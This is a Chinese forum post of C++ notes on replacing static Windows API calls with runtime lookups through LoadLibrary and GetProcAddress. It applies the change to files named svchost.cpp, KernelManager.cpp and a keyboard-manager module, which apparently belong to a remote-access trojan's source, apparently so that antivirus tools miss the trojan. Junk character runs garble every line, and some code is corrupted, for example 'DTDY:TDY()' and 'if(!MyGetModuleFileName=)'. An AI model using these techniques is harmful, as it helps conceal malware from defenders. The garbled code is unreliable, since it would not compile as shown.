[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记
& U& x; g# t; _" }+ Bsvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
$ S8 Q% O" P4 [0 c% ~3 A----------------------------------------# C( X& l6 B7 o! t
DTDY.h：  T# u  u% k! v( {# c% d  S
% _' \% `& ^# k, N6 L
#if _MSC_VER>1000
$ ?' f  x% E( q. V/ @& |: h" O#pragma once9 O: R* I* f1 H* e/ }! E9 e3 H
#endif //_MSC_VER>1000
0 l& @2 w4 i5 s" c$ M- K  D#include<windows.h>
! x6 V3 n- k8 |" S
* f, y/ o9 \1 v* j; dtypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);  ?$ @- a2 f  S( P9 N
class DTDY! F' c) c+ V/ j0 v
{9 @, W% |- ~8 X# z& C2 g: g/ h7 I* {8 S
public:1 d' i: k- }# I3 W1 Y0 ^
DTDY();, v/ ^! ]; r9 G+ X# X
virtual ~DTDY();; F: N0 ?! A3 k
public:' O* g6 b. H7 `! C2 Y, F
static pGetModuleFileNameA MyGetModuleFileName;
# S  {& ~; n' ]static BOOL FunInitiallization();
# i: ?( W5 b7 O5 T( J. W};
, G" r# X# `+ N, T) L5 x#endif  L7 X0 Q7 N- Q  i0 C  g! _* T" _: R
----------------------------------------
2 E, z7 D5 d7 K! B. s& E1 L1 T' E1 F, a" o7 A7 K: N* |
DTDY.cpp:
3 `9 k% G/ r7 ]$ ?
( d0 p. t6 V2 X, l- i3 e" f#include "DTDY.h"9 _$ l8 B0 }+ D& o# r
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;( R5 K4 D; E, X/ e+ f! O
DTDY:TDY()% F# R; {" B9 ?7 C6 r
{, k% J" Z7 F9 s2 m
}# S* q. Q. ~8 }; `, K6 f0 C6 U
DTDY::~DTDY()
* a- Q1 p: L$ x- M) d& B. \9 u{4 U+ k; j# e4 E0 l: c, S5 U
}
) v5 f9 ]9 V/ `6 RBOOL DTDY::FunInitiallization()( F! A: G, H/ [- w+ T
{
* V* ]: T0 e5 l. {6 }4 s  U; N5 FHMODULE hModule=LoadLibrary("kernel32.dll");) G2 E- Q% ?6 L) @  b" o! N3 x
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
) o& W2 Z7 h/ P' Dif(!MyGetModuleFileName=) return FALSE;% }/ I/ ?* {! @; j

/ x* Z+ X( v6 m  ~6 R& l. d+ \return TRUE;
* V: L" g& M5 M$ y}) ]6 e2 i$ o8 [0 J1 j
----------------------------------------  O$ P8 o2 j. J  y  y4 [0 F
svchost.cpp:
" ~' I! {; m1 V2 r3 G" V; k; U. U$ l
#include "DTDY.h"9 t9 Q& S4 c9 J

. f* {" y3 ^% Z' s/ [- ~5 F6 y  eBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)0 k% L  H3 W3 c3 w9 P
{$ U3 c) y( V9 R- F
switch(ul_reason_for_call)
. ~( c4 H/ \4 x* ~/ l" {6 @{
- Z4 Q2 C# N2 @7 {* B5 Ccase DLL_PROCESS_ATTACH:: N, [8 i" ^! M" C. H1 j: b5 B
if(!DTDY::FunInitiallization()) return FALSE;6 @5 v$ b) S7 l+ F" x) _0 \  ~

/ v/ W1 Y) |- K" f& }9 `" Nbreak;
; U1 k. F' G; P& `3 x) F, w}3 y/ h5 L5 R  k/ u2 X/ o
}& v: S8 k# M- O0 i1 V  y) M5 z2 J5 P
3 @3 i) b7 P& m  F0 I/ ~. [; f
& T* Q5 I* c6 l% x) ^6 [) p# j9 G
GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def9 o0 D& [7 U+ T" x4 u
改写为
, q9 C" s7 V+ Z4 d9 m4 C/ a; V' F( m- xDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));, _7 B. V7 P3 m3 E' D3 v
----------------------------------------
& W3 v! q* }- W( lKernelManager.cpp:
8 a' ?: Z3 F$ \8 f  o! t' q9 @" I5 D7 i& h& V8 [
#include "../DTDY.h"! A- {5 L9 Z1 \1 X  M
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));: e6 u9 `+ X( W; m! M# {
改写为
/ r# Y; G# E6 r3 R/ fDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));% z7 k! U& \* v( g% m
----------------------------------------